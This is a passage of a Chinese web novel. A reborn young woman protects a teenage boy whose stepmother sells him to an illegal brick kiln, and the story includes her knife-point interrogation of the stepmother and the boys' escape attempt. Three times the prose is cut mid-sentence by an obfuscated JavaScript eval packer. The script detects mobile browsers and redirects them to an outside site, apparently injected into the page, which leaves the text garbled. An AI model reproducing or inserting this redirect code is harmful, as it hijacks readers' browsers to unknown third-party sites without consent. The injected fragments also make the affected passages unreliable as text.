黎朝朝回头看了她一眼,笑了笑:“那我就不客气了,婆婆,您这些要收进去吗?我来帮您吧!”说完,黎朝朝也拿着簸箕,帮着外婆把地上晒的东西装进化肥袋子里。 外婆走过来,抹了抹手上的汗,说:“你这小丫头走累了,歇着哈,我自己来。” 黎朝朝低声笑:“婆婆,没事的,我小时候也经常帮我外婆做这些事。” 陈兰看着眼前勤快的小姑娘,心中更加喜爱了。 晚饭时,灶膛里火光摇曳,铁锅里咕嘟咕嘟地冒着香气,菜虽简单,却有腊肉、青菜、土豆、黄瓜,还有一碗热腾腾的鸡蛋汤。 黎朝朝第一次重生以来的眼泪,终究没忍住,簌簌掉进碗里,但又怕外婆发现端倪,所以又悄悄抹掉了眼泪。 陈兰看着她,心里总觉得这孩子特别亲切,却又说不上缘由,只能不断往她碗里夹菜:“多吃点啊,看你走了一天,饿坏了吧。” 夜里,陈兰给她多铺了一床厚厚的棉被,又细细叮嘱:“村头夜里凉,别冻着,感冒了可不好。” 夜幕渐深,村子里逐渐安静下来,只剩下远处犬吠声和蛙声偶尔响起。 黎朝朝躺在木床上,头顶是一顶略显老旧的蚊帐,鼻尖萦绕着棉被里淡淡的晒太阳后的暖香。 厚实的棉被将她裹得严严实实,温暖得让她的心微微发酸。耳边还能听见外婆在隔壁轻轻咳嗽几声,然后是板凳挪动的声音——她知道,那是外婆还在整理屋角的柴禾与杂物,怕有老鼠啃坏了。 黎朝朝翻了个身,望着窗外透进来的一点月光,眼眶渐渐湿润。记忆深处,那些零散却温热的片段一一浮现: ——夏夜里,外婆扇着蒲扇,在院坝里讲过去的故事,自己趴在她腿上,不知不觉睡着; ——冬日里,外婆将刚烤好的红薯剥开,把热乎乎的内瓤塞到自己手里,说:“快吃,趁热”; ——雨天里,外婆披着蓑衣,背着她在泥泞的田埂上小心翼翼走,生怕她摔了…… 这些画面一幕幕重叠,让她心口涌起潮水般的酸楚。明明外婆就在眼前,却无法相认。 忽然,门轻轻响了几下。 陈兰推门进来,手里端着一个搪瓷碗,里面放着番薯干和一小撮炒花生米吗,她压低声音,说:“妹娃娃,怕你夜里饿醒了,给你拿点吃的,乡下没啥好吃的,你饿了的话将就吃,我把它 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年轻的陈兰看着她,眼神柔和,微微笑着:“哎呀,你帮我忙里忙外,怎么能空手走呢?来,把这些橘子带上吧,都是自家地里的,甜得很。”说着,陈兰走到一旁的小筐前,挑了好大一袋子橘子递给黎朝朝,橘子皮橘黄光亮,散发着淡淡的清香。 黎朝朝接过橘子,心里一阵暖流涌动:“谢谢婆婆。” 陈兰笑着拍拍她的肩膀:“你呀,看着就让人心里舒服,这橘子甜得很,路上吃了也不会饿着。走吧,路上小心。”黎朝朝轻轻咬下一口橘子,汁水鲜甜沁入心田,微微酸甜的味道在唇齿间扩散,带着田野的清香和家的温暖。 陈兰眼里闪着笑意:“下回路过,也要进屋来歇歇脚看看老婆子,我对你喜欢得很,下次来陪我说说话也是好的。” 黎朝朝心里有些哽咽,却努力让自己微笑:“好的,婆婆,我一定会的。” 她背上小包,轻轻挥手告别,院子里的橘子香随着风散开,阳光照在外婆的笑容上,温暖而明亮。 黎朝朝又辗转了好几日,才回到了程家村,到家时,已经是晚上八点半了,发现秦秀秀又不在,她留了张纸条给黎朝朝,说自己去打麻将了,如果回来了,别锁院门,虚掩着就行,给自己留个大门。 算一算日子,今天刚好又是周五,是程淮放假回家的日子,黎朝朝本来想去找程淮,但是吃过饭后,已经晚上十点了,自己又这几日旅途奔波劳碌,实在是犯困,就想着先睡一觉,明日再去找程淮。 夜色深沉,屋外虫鸣断断续续。 快晚上十一点,黎朝朝刚洗漱完躺下,正要入睡,忽然听到大门有人进来的声音,她以为是秦秀秀回来了,也就没有在意。 紧接着,脚步声慢慢往上走,听着粗重的脚步声,不像是秦秀秀,倒像是个男人的脚步声,忽然“咔哒”一声,像是门锁被拧动。 她心头一紧,屏住呼吸,死死盯着门口。下一刻,伴随着一股浓烈的酒气,一个黑色矮小的身影踉踉跄跄闯了进来。 黎朝朝猛地坐起,瞳孔一缩,只见那男人醉眼迷离,脚步虚浮,竟径直扑到她的床上。床板震动,酒气混着热气扑面而来,吓得她心脏“砰砰”直跳。 她急忙往床角缩去,声音颤抖:“你是谁?!” 男人眯眼笑了笑:“哎哟,哪里来的小妞,跑到你爷爷我房间里来了,来抱一抱,亲下嘛!” 说着又要扑过来,黎朝朝往旁边一侧身,躲了过去,拿着旁边的花瓶,准备朝男人头上打去,可那男人扑了个空后,以为是梦,没有再有任何动作,而是顺势躺下,还翻了个身,呼噜声紧接着响起。 黎朝朝起身到门边,僵硬地看着他,手脚冰凉,脑子一片空白。 她颤颤巍巍跑出去,发现秦秀秀根本不在家,前世住在二舅妈亲戚家的往事涌上心头,她脑海中一团乱麻,不知不觉,她走到了程淮家院子门前。 13. 扯住 月亮高悬,山野寂静。 程淮正在院子里打水洗脚,准备睡觉。 他抬头间,看到一道黑色影子在院子徘徊。 他打开院门,发现黎朝朝眼睛里包着一汪泪,可怜兮兮地看着自己。 程淮心下一动,以为出了什么事情,赶忙问道:“你怎么了?” 黎朝朝这才看到自己已经走到了程淮家里,连忙开口:“没,没事!”说话间,泪却不受控制掉了下来。 程淮皱着眉,神情认真问道:“有人欺负你了?” 黎朝朝摇摇头。 程淮大概猜到是租的房子出了问题,便拉着黎朝朝往秦秀秀家走去,刚好碰到深夜从娘家打麻将回来的秦秀秀。 秦秀秀看见两个黑影,吓了一跳,走近一看,是程淮拿着棍子,凶神恶煞的样子,又看了看在旁边有些委屈的黎朝朝,拍拍胸脯道:“哎哟,你们俩大晚上做什么,吓我一跳,不知道人吓人,吓死人呐!” 程淮沉着脸问她:“你家里有人闯进来了。” 秦秀秀忽然想起来,今日确实儿子打电话说要回来,自己跟妯娌打麻将搞忘了跟黎朝朝说,看着程淮气势汹汹的样子,实在是有些心虚,对着黎朝朝道:“那个,没啥事,应该是我家儿子,他提前跟我说了,我搞忘记跟你讲了。” 程淮拧着眉头:“你就是这么负责租客的安全吗?男女有别,你不知道吗?你没有跟你儿子说吗?” 秦秀秀是嫁到这里来的,早就有些看不惯程淮,他平日里走在路上,也不跟自己打招呼,面冷心硬,一看就是个喂不熟的白眼狼,村里很多人都说他有出息,有什么出息,我呸! 不过,秦秀秀就算再怎么看不惯程淮,也没有办法,毕竟他长得人高马大,态度又强硬,是个狠辣的角色,自己在他面前讨不到好,只能去朝黎朝朝阴阳怪气:“哎呀,又没有什么事情,我儿子我还不知道吗?人品端正,长相端正,喜欢我儿子的女人一大把,虽然你是个城里来的女娃娃,但我看你年龄也不小了吧,别说你看上我儿子,我还不同意你呢?” 秦秀秀越说越过分,黎朝朝瞬间明白了,感情她这是在挑软柿子捏,她现在也回过神来了,看着秦秀秀的态度如此恶劣,也不想跟她纠缠,只盯着她冷笑道:“既然如此,麻烦你把租金退给我吧。”说完拉着程淮的手走了。 程淮看着自己被拉着的手,问道:“你现在,是想去租花婶的房子?” “嗯嗯,但是今天太晚了,先去花婶家借宿一晚,明天再搬东西,但是我不认识路,你得带我过去花婶家。” 程淮沉默着,一路跟在黎朝朝的身边。 花婶听说了事情原委,连忙收拾了房间出来,让黎朝朝住下了,程淮临走前,对着黎朝朝嘱咐道:“晚上睡觉把房门反锁,有什么事情喊花婶,花婶一直在家。” 黎朝朝看着程淮一本正经,有些感动,看着已经是半夜一点了,连忙让他回去。 翌日清晨,得知黎朝朝决定租姐姐家的房子,便一大早拨通了自己姐姐家的电话,说明了情况后,得到答复后,又关切地跟自己姐姐聊了几句,随后笑眯眯挂了电话。 “妹子,我姐姐这边没问题,因为房子那边在山上,考虑到交通不便利,她说就收你十块钱意思一下,还有房子前面的地,你要是想种也可以拿来种,反正空着也是空着的。” 黎朝朝签了合同,交完钱后,花婶拿上钥匙带她上山。 走了大概十几分钟,就到了半山坡的房子处。眼前是一座两层的小木屋,青灰色的瓦片上落着厚厚一层松针,屋檐下挂着风吹日晒留下的斑驳痕迹。 屋前的院子不大,有几株野花和一口石井点缀着,别有一番趣味。 “妹子,别看这房子不起眼,但是景色一等一的好嘞!”说完,花婶推开吱呀作响的木门,带着黎朝朝走了进去。 一楼是客厅与厨房连在一起的格局。靠窗的位置摆着一张方木桌,桌面光洁。桌旁有两把椅子,正对着窗外的树林,坐下时能把整片山景收进眼底。 厨房挨着客厅,灶台用青石砌成,旁边整齐放着几只旧陶罐和木碗,墙角还放着一把竹编摇椅。 顺着木梯往上走,是二楼并挨着差不多大小的三间卧室。 黎朝朝选了第一间卧室,里面靠墙摆着一张木板床,床头放着一个小小的矮柜,窗户开在床边,夜晚能看见天上繁星。 另一侧靠近窗边的位置,有一张旧书桌和一把椅子,桌面已经磨损,但仍旧结实。 “妹子,还满意不?”花婶热情问道。 黎朝朝点点头:“满意的,谢谢花婶。” “门前这些地,你也可以利用起来,去镇上买点种子重点菜啥的,方便得很。” “好!” “对了,你晚上记得把门窗锁好,虽然村里人大多都还是老实庄稼人,但有时候也有邻村的混混会来,所以你一个女娃子也要注意安全,有啥事就赶快来跟我说!” 黎朝朝再次道谢。 花婶摸了摸鼻子:“你这丫头,不用这么客气,以后大家就是邻居了,应该互帮互助。我现在不打扰你了,你自己收拾收拾屋子,我还要回去看店了哈!” 花婶走后,她开始动手打扫屋子,把灰尘擦去,又在桌上插了一瓶刚采的野花,给床铺上干净的被单。 屋子收拾得差不多后,窗外的天色尚早。 黎朝朝去了程家,这一次两个小女孩不在,一个三十多岁的女人坐在门口嗑瓜子,穿得妖娆又魅惑。 她一双眼睛紧紧盯着前来的人,没好气问道:“做什么?” 王丽心中有气,昨天打麻将输了个精光,她一回来,两个死丫头片子又找她哭唧唧告状,说有人答应给她们钱,结果又拿走了,现在这两个丫头片子非要王丽去把那五块钱要回来。 本来王丽是想去讨个公道,讹一下这城里来的,不过,一听才五块钱,就懒得去了。 才五块钱,开玩笑,最近自己勾搭上了镇上的木匠,每次他给自己的都是几百,懒得为这鸡毛蒜皮小事发火。 不过,王丽秉持着有钱不赚王八蛋的想法,看着黎朝朝穿得干净清爽,言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549330|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈间有礼貌,估计她就是城里来的人了,城里人都是人傻钱多的,所以自己打算讹她一笔。 “你好,我找程淮,请问他在吗?”黎朝朝看着王丽问道。 王丽一听,火冒三丈:“我怎么知道这死杂种跑到哪里去了!!你找到他,赶快喊他回来做饭!” 说起程淮,王丽心中恨得牙痒痒,这死小子每次都自己偷偷藏钱,还好自己机灵,偷偷拿过几次,不然就让这小子在这里白吃白住了。只不过这小子一双眼睛也是锐利,每次看着自己总是很不安心,养不熟的狼崽子,幸好,城里的房子要装修好了,到时候就把家里的房子一卖,自己悄悄带着两个女儿去城里生活,到时候就让这狼崽子要饭去,想想心里就无比痛快。 “你是不是看上这小子吃苦耐劳,想占他便宜,让他给你免费干活?我告诉你,没门,除非你每天给我二十,我就可以让他给你干活!” 黎朝朝没有搭理王丽,自己去找人。 在村里转悠了好一阵,又问了两个过路的村民,才打听到程淮的位置。 烈日当空,程淮一个人在地里弯着腰劳作,身形瘦削,衣衫被汗水浸湿,泥土沾在他指节上,粗糙的手掌紧握锄柄。 程淮心中有自己的盘算,王丽肯定是要走的,家里的地空着也是空着,先种点东西出来,到时候周末回来还可以吃菜,也能省点生活费,毕竟自己还是个学生,打零工的钱也不是经常有,得为自己以后做打算。 忙到晌午,没吃早饭,肚子早就空空如也,今天早上做好饭后,还好他给自己留了半个馒头,从怀里掏出半个早已凉透的馒头,他只是随意坐到田埂边,咬得极慢,一口口咽下去,没有表情,他对食物来说,没有任何要求,能够填饱肚子就行,管他冷的热的。 黎朝朝远远看见坐在地里的程淮,心头一酸,快步跑到他面前,一把夺过他的冷馒头,三下五除二将馒头吃完了。 程淮皱眉,没说什么,既然馒头没了,那就继续干活吧,干活就不饿了。 黎朝朝一把掏出自己藏在兜里的三个热气腾腾的肉包子,把肉包子放在他面前:“我吃了你的馒头,我用肉包子还给你。” 程淮抬眼,淡淡道:“不用了。”说罢,准备起身。 黎朝朝却不依不饶,一把将他扯住,程淮一时没站稳,跌坐在地。 黎朝朝把热腾腾的包子硬塞到他手里,笑了笑:“不吃,那就别想干活了。” 程淮指尖微微收紧,眉头蹙着,沉默良久:“好,你是不是也没有吃饭,那......一起吃吧!”说完,拿起一个包子,将剩下的两个包子递回给了黎朝朝手里。 黎朝朝心中有些感动:不愧是程淮! 黎朝朝吃了个冷馒头,又吃了一个肉包子,实在是不想吃了,自己一身肥肉,还是要健康饮食,于是威逼利诱让程淮吃下了剩下的一个肉包子。 热气氤氲间,程淮面上的冷意没什么变化,却在心底某个角落,悄然松动了一分。 吃完后,程淮起身拿起锄头,继续干活,黎朝朝就在一旁看着程淮。 14. 砍柴 下午两点,日头正盛。 阳光从树叶的缝隙间洒下,斑驳落在石径上。 黎朝朝在树下蹲了很久,直到程淮把锄头放在地里,转身扛着斧头,背着背篓,朝上山的地方走去。 “你去哪里?我要跟你一起去。”黎朝朝亦步亦趋跟在他身后。 程淮的脚步一顿,回看她,耐心解释道:“不要来,山里路不好走,你容易摔跤。” “你要去砍柴吗?我跟你一起去吧,刚好我家里也没有柴火了。”黎朝朝开口道。 程淮沉默了片刻,眼神压得很沉,终于淡淡吐出一句:“这些柴,本来就是砍给你烧的,所以你不用来。” 黎朝朝愣住了,心口猛地一震,看着程淮走远了,连忙跑上前追他,调笑道:“那我更要去了,你给我砍柴,我怎么能不陪着你呢!”。 程淮眉头微皱,淡淡地看了她一眼,本想拒绝,但觉得她根本不会听自己的话,只能嗯了一声,转身朝山道走去。 一路上,山路湿滑,石头上覆着青苔。 程淮的步子沉稳有力,每次走过险处时,总会停下半拍,装作无意地拨开脚下的石块,轻声提醒她:“慢点,这里滑。” 黎朝朝背上空空,心里却有些惴惴。 她想去帮着背篓,却被程淮拦下:“不用了。你不熟悉山路,容易打滑,走好自己的路就行。” 鸟声在枝头啾啾作响,上辈子虽然黎朝朝是个村里户口,但是最初跟着妈妈在中海市读书,后来跟着外婆在临河镇生活,再后来去了大城市读书工作,其实自己很少有机会进到大山里,再加上这么多年了,如今进山后,看到很多奇形怪状的动植物还是很兴奋的。 她时而提出一些问题,程淮都会解答,慢慢地,不用她问,程淮都会主动跟她说。 两人走了一阵,程淮指着路旁的一棵树,声音低沉:“这是黄连木,木头硬,劈开烧得久。”又指向灌丛深处:“那边常有兔子窝,冬天容易碰见。” 到了一处林子,程淮停下,挑了几棵干枯的枝桠,举斧头利落地砍下。 木屑飞溅,他把木头捆扎整齐,背在肩上。 “我能拿一捆的。”黎朝朝真心提议道。 程淮斜睨了他一眼,淡淡开口:“你手上没茧,拿不了几步就会破皮。” 继续往山里走时,程淮继续指给她看:“这树是柞木,劈开能做板子。那边的草丛小心点,有蛇窝。” 黎朝朝赶忙退到程淮身后,白着一张脸,想起小时候在山里踩过一条蛇,留下了一辈子的阴影,所以不管重活几辈子,她都害怕湿哒哒滑溜溜的玩意儿!! 程淮微不可察地笑了笑,带着她远离了茂密的草丛。 快到水源时,黎朝朝早已汗湿后背,脸色发白,她心道:看来这原主的身体还是有些虚,自己要加强营养和锻炼了。 程淮停下,把竹筒递给她:“先喝口水。” 等她喝完,程淮才低头抿了一口。 阳光从树叶缝隙间洒下,落在程淮的肩背上。黎朝朝望着那背影,心口忽然一紧——恍惚间年少的程淮跟长大的程淮重合了。 “你怎么知道这么多?”黎朝朝忍不住问。 “常年在山里过日子,不懂这些活不下去。”程淮语气依旧淡淡,却不自觉放慢了脚步,确保两人肩并肩。 黎朝朝呼吸着新鲜空气,看到程淮还活着,内心感到无比的放松和愉悦。 傍晚,天色暗下来了,村口炊烟袅袅。 程淮挑着满满一背篓柴火,步子沉重却依旧稳健。黎朝朝跟在后面,满身酸乏,但心里却莫名发热。 回到黎朝朝的家门口,程淮把背篓放下,顺手拍了拍肩膀上的灰土,神色淡然,转身要走。 黎朝朝见程淮要背着空背篓走,急忙伸手拉住他:“别走了,吃了饭再回去。” 程淮被拉住,眉头微微一蹙,低声道:“我家里还有事,不能耽搁。” 程淮摇了摇头:“我不回去,她会来找你麻烦。” 黎朝朝愣在原地,心口涌上一股说不出的滋味。 想到这里,黎朝朝的手指攥得死紧,眼里闪过一抹怨恨。她咬牙低声道:“要不是王丽……你怎么会过得这么心酸?你再忍忍,她快要因为拐卖人口去坐牢了。” 她记得前世有采访提到,程淮跟着继母一家生活,后面继母因为参与拐卖人口,才去坐牢的,所以程淮后来是自己一个人长大。 黎朝朝想着,这一回,不会让他一个人长大,等王丽坐牢后,自己就变成他的监护人,好好呵护他长大,送他去读大学、读研究生、读博士。 —— 夜色深沉,山风里带着凉意。 程淮回到家门口,刚踏进院子,没有听见王丽刻薄的骂声,反而是她笑着迎上前来,满脸和气:“怎么才回来?今天在外面累坏了吧?来,吃饭,就等你回来开席了。” 程淮低着头,默默把背上的背篓放下,意外闻到一股饭菜香气。 两个小女孩却一脸不满,低声嘟囔:“凭什么给他做这么多好吃的?”她们眼底满是怨气,怎么也不理解,平日里总被喝骂的野种,今天她们吃饭居然还要等他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549331|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王丽仿佛没听见,仍笑呵呵地招呼:“坐下吧,吃点好的,别总瘦得像根竹竿似的。”眼神却在灯火下闪过一丝冷光——笑意里藏着算计。 程淮看了看那一桌子菜,又看了眼王丽的笑脸,神色冷淡,唇角一抿,径直转身。 他没在饭桌旁坐下,而是回到自己房间,从书包里拿出教科书,点起昏暗的油灯,掏出一只冷硬的馒头,慢慢咀嚼。 王丽脸上的笑意僵了几分,但很快又恢复,眼底却闪过一抹阴鸷,心暗道:“让你先傲气两天,等我这房子卖了,我就远走高飞……反正自己已经跟人贩子谈好价格了,等你这野种去当苦力,叫天天不应的时候,你就该知道现在应该对老娘我客气一点了。” 天还未亮,山里一片寂静,只有虫鸣与远处犬吠。 今天又是程淮去学校的日子,凌晨四点半,黎朝朝迷迷糊糊起了床,披了件外套,手里拿着两个手电筒,背上昨天收拾好的背包,走到村口,打着哈欠等程淮。 不多时,程淮背着书包出来,见她站在那里,眉头顿时皱起:“你怎么这么早就来了?” 黎朝朝神色平静,把一个电筒塞到他手里:“我来送你下山。” 程淮抿唇,看她困得眼睛都睁不开,摇头拒绝:“不用了,你这么早起太累了,你眼睛都不睁不开,山路难走,你要是摔下去了,我今天这个学不用上了。再说,你一个人回山里不安全。” 程淮又解释道:“我现在不怕黑,你回去吧!” 黎朝朝不听,大步往前走去,边从包里拿出热气腾腾的早餐,塞到程淮怀里:“我这周还是有事,我要去省城一趟,你跟我一起下山,我不害怕。” 程淮终于叹了口气,把大电筒往她手里一塞:“那你用这个手电筒,亮一些。” 两个人下了山,又坐上了去县城的车,到了县城高中学校门口后,黎朝朝又从怀里拿出一个纸袋,递过去:“这个给你。” 程淮愣了一下,低头一看,是一套干净的衣服。他抬眼欲言,黎朝朝却抢先说:“随便买的,这次不给你钱了,就是一套衣服,不值钱。拿着,别磨蹭。” 程淮最终还是接过了,低声道:“……谢谢。” 黎朝朝笑了笑:“不客气,我走了。” 看着黎朝朝离去的方向,程淮心中五味杂陈,竟然才分开就期待下一次放假的时间了。 黎朝朝确实是要去省城,这两天可能是旅途过于奔波,似乎病情有些发作了,老是晕倒,于是她想去省城医院去检查一下,听听医生的建议,顺便去考察一下市场,坐吃山空可不是自己的习惯。 15. 卖身 从省城回来后,已经是周六中午了。 她没有回家,而是先去了程家,想着程淮又指不定在哪里随便吃冷馒头对付,就想先去找他,然后拉他回去一起吃饭。 黎朝朝来到程家,没有看到程淮,王丽也不在,只有那两个小女孩在院里踢毽子。 “小孩,程淮呢?” 那两个小女孩一看到黎朝朝,朝黎朝朝吐了口口水,鼓着嘴叉着腰骂道:“坏人,你上次把我们的钱拿走了,我才不告诉你!休想再骗我。” 黎朝朝不想跟两个孩子打嘴仗,只能去村里转悠一下,程淮肯定又去干农活了。 结果走了一圈,还是没有看到程淮。 第二日,黎朝朝在村口早早等着程淮,等到天光大亮也没有看到他,以为他是提前去学校了。直到下一个周五,黎朝朝在村口等了很久也没有等到程淮,她去问了花婶这些人,都说没有看到程淮。 走在半路上,遇到村长,便问他有没有看到程淮。村长道:“你这么一说,我好像也很久没有看到淮小子了。” 周一,黎朝朝打电话给县城高中学校,报了年级和名字后,班主任接到电话,跟黎朝朝说,程淮这一周和上一周都没有去上课,是家里人请假了,说程淮生病了。 黎朝朝暗道不好,王丽是因为当人口贩子坐得牢,莫非这个女人也把程淮卖了,黎朝朝越想越心惊,连忙朝着程家赶去,刚想踏进院门,正好撞见王丽衣衫不整,正同一个壮汉勾勾搭搭走出来。远处两个小女孩蹲在墙角,拿着两包辣条在吃,对这场景见怪不怪。 男人似乎生来有种发现女人的能力,尤其是白白净净的女人,那男人见到看到迎面走来的黎朝朝,两眼放光:“哪里来的小妮子!你是做什么的?” 王丽一见黎朝朝,又看到身边的男人一脸猥琐养,随即厉声呵斥身旁的男人:“狗东西!还没有喂饱你吗?先去把正事干了,不然误了我的事,要你好看。” 说罢,又将旁边的男人推出了院门,男人不情不愿地走了,走的时候眼神不住往黎朝朝身上乱瞟过来。 黎朝朝眼神冷冷扫过去,男人瘪瘪嘴,快步走了。 黎朝朝盯着王丽问道:“程淮在哪里?” 王丽见来者不善,先是给两个女儿给了点零花钱,喊她们去花婶那里买吃的,两个小女孩一听,立马跑开了,等两个女儿走后,她才一脸不屑道:“找什么程淮,他打工去了,他这穷酸样,在这山沟沟有什么出息,读书有什么用,还不如早点去打工挣钱娶媳妇。” 黎朝朝看着王丽,面无表情道:“别糊弄我,王丽,你最好现在告诉我程淮在哪里,否则我要你进局子里蹲着。” 王丽一听,有些心虚,毕竟自己才将这小子卖到了黑砖窑去当苦力了,要是被人发现了,自己是要蹲牢饭的。 眼前的小妮子比自己小几岁,城里人好糊弄,于是假装不屑道:“程淮去中海市当学徒了,他走得急,说安定了再给家里报信。” 黎朝朝旁若无人进了屋子,一屁股坐下,冷声道:“我问你一句,你最好老实回答——他现在在哪儿?” 王丽眼珠子一转,嘴硬:“什么?我不懂你说的!” 黎朝朝忽然往前一步,俯身逼近她,声音冷得像冰渣子:“我知道你把他卖了,说卖去哪里了?” 王丽嗤笑道:“小丫头,回去多吃两年饭吧?你才多大?来空口套我话??你有证据吗??” 黎朝朝冷笑了一下:“这个世界上,有一种东西,叫做逼供。”说完,用力一脚踹在王丽的肚子上,将她踹翻在地,又一巴掌将她扇得眼冒金光。 破旧的屋里昏暗沉沉,风声从破裂的窗缝钻进来,带着一股寒意。 王丽被绑在木椅上,低着头,眼神里闪着狡诈与冷漠,嘴死死抿着,不肯吐露半个字。 黎朝朝沉着脸,站在她面前,眼神冷得像冰:“你好像不知道,程淮对我的重要性!不说,是吧?” 王丽冷哼了一声,偏过头去。 下一刻,黎朝朝猛地抬手,又两巴掌狠狠扇在她脸上,清脆的声音在屋里炸开。王丽半边脸瞬间肿起,眼神有些愤恨。 黎朝朝脸上的血丝隐隐跳动,压着怒火,又连扇了几下,王丽的嘴角渗出血迹,呼吸急促:“你敢打我。” “怎么不敢呢?我不仅敢打你,我还敢杀你!你卖过人,那杀过人没有?”黎朝朝低声冷笑,忽然从腰间抽出一把寒光闪闪的刀,猛地架在她的肩膀上,刀锋几乎贴着皮肤,微微一压,已经割出一道血痕。 王丽浑身一颤,呼吸骤然急促,眼神里第一次浮现恐惧。 黎朝朝手里的刀纹丝不动,声音冷得像从地狱里传出来:“为了程淮,我可以杀了你,可不是一刀杀哦......是......慢慢杀......从哪里开始好呢......先从你这条好看的手臂开始?” 王丽看着黎朝朝疯癫的样子,彻底慌了,脸色惨白,嘴唇发抖:“别、别动手,我说,我都说——” 黎朝朝眯了眯眼,收紧刀锋,冷冷盯着她:“说,你要是敢骗我,就算你去坐牢了,我也追着你杀了为止。” 王丽脸色刷地惨白:“他……他被我卖去荒吴山上的砖窑里打工了……那地方偏僻得很,走大路三天都到不了……” 黎朝朝眼神一沉,指尖紧紧攥着袖口,胸口涌起一股怒火,又扇了王丽几巴掌,才离开。 出发前,黎朝朝先去找到村长,说了王丽贩卖人口的事情,村长立马打电话报警,去村里奔走相告此事,看看村里有没有其他小孩子丢了,然后带了几个村民一起去捉王丽。 ...... 窑洞内闷热得像蒸笼,砖坯高高叠起,灰尘与汗水混杂成呛人的味道。 程淮裂开的血口被泥灰糊住,火辣辣地疼,但他依旧赤着脚,肩膀顶着沉重的木架,一趟又一趟地搬运,否则,就要遭到一顿毒打。 每当夜深,他跟其他人才能稍微休息喘口气,说是休息,其实不过是蜷缩在角落,忍受着潮湿和霉味,山里寒冷,草席破烂,根本挡不住夜里的寒意,很多人冻得牙齿打颤,而程淮却面无表情。 他想起被卖来的那一天。 周五他刚放学回到家,王丽对他温声细语,说下周就要搬到新房子里了,明日就把老房子的地契给他,再给他些钱,只是不能带他去城里住。 他早就知晓王丽不会带他去城里,所以并没有什么失落,只不过他不要王丽的钱,因为那并不属于自己,他从小就知道,不是自己的东西不要拿,因为一定会付出代价。 可这个房子,是程宇华死前说过,要留给他的,再加上自己并没有其他容身之所,当王丽提出要给他地契,他还是心存感激的,谢谢她没有赶尽杀绝,让自己流浪街头,所以当王丽喊自己跟她一去山上砍点柴回来时,他并没有说什么。 谁知走到半山腰,却被粗壮的男人猛地拽住胳膊,硬塞上牛车。王丽躲在一旁,眼里闪过一丝快意,然后转身就走。 程淮记忆中的画面像钉子一样,狠狠钉进心里。那一瞬间,他明白自己被卖了,等再醒来时,已经身处黑窑洞了。 如今,在这黑砖窑里,鞭影、辱骂、沉重的砖块成了他生活的全部,别人或许会崩溃,可他没有,他在心里默默记下守卫人数,还有他们换班的时间。 他一直都知道,不管发生什么事情,崩溃是最没有用的,没有人会来救自己,自己这条烂命一定要自己救。 他有时候痛得狠了,并不会跟其他人一样破口大骂,而是嘴角缓缓勾起一抹冷笑,那笑里含着冷冽与嘲弄,嘲弄自己的天真,嘲弄那贪婪狠毒的王丽,嘲弄这吞人不吐骨头的贫贱,更嘲弄这些该死的人贩子,用几百块就可以买走一个少年的青春和人生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549332|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜幕降临,微弱的火光在窑口摇曳。 “大哥,若是有什么事情,等会儿我去引开守卫。”陈阿牛悄悄蹲着靠近程淮,对着他小声说话。 陈阿牛才十岁,左脚有些瘸,是前几日被他姑父卖来的,因为脚上有缺陷,有时候干活不麻利,免不得几顿毒打,都是程淮暗中悄悄帮助他,鼓励他,所以他想报答程淮,主动揽下这危险的差事。 程淮靠在砖堆旁,摇摇头:“不行,你太小了,按照原计划进行。” 另一旁的癞子头听到后,眼神一亮:“要不,让陈阿牛跟你俩先去引开守卫,我先跑,我跑得飞快,等我出去了肯定找人来救你们两个。” 这些日子里,被卖来砖窑的人陆陆续续也有好几个,大的不过二十来岁,小的就是陈阿牛这种十岁左右的孩子,都是被家里人卖来或者被骗来的,所以程淮悄悄与几个同样受尽折磨的人低声商量,趁着看守换班、夜里月黑风急的时候一起逃出去,以防万一,若是有问题,程淮和二十岁的癞子头就先去拦着守卫,等其他人逃出去后报警。 当夜,计划还没实施,三名看守便带着木棍和铁链猛地闯进窑洞。陈阿牛站在洞边,首先被踹翻在地,头死死被摁在地上,挨了几棍子。 程淮当场就明白了——有人告发了他们。 他冷眼望过去,发现蹲在角落的癞子头,眼神闪躲,不敢看他。 “大家不要怕,现在是换班的时候,我们一起上!”程淮冲着其他人大喊一声。 其他几人顺势蜂拥而上,将几名守卫拳脚相踢后,摁倒在地。 “大家快跑,前院还有守卫,跑后门,抓紧时间。”程淮低声说道,顺带扶起刚被踹翻在地的陈阿牛,带着他往外跑去。 他们一路狂奔,脚下的泥土凹凸不平,荆棘划破了小腿,但没有一个人停下来。 然而身后不多时便传来了吆喝和脚步声——是逃跑的事情败露了,其他守卫追了上来。 火把在夜色中摇曳,猎犬咆哮声在身后此起彼伏,划破寂静的山头。 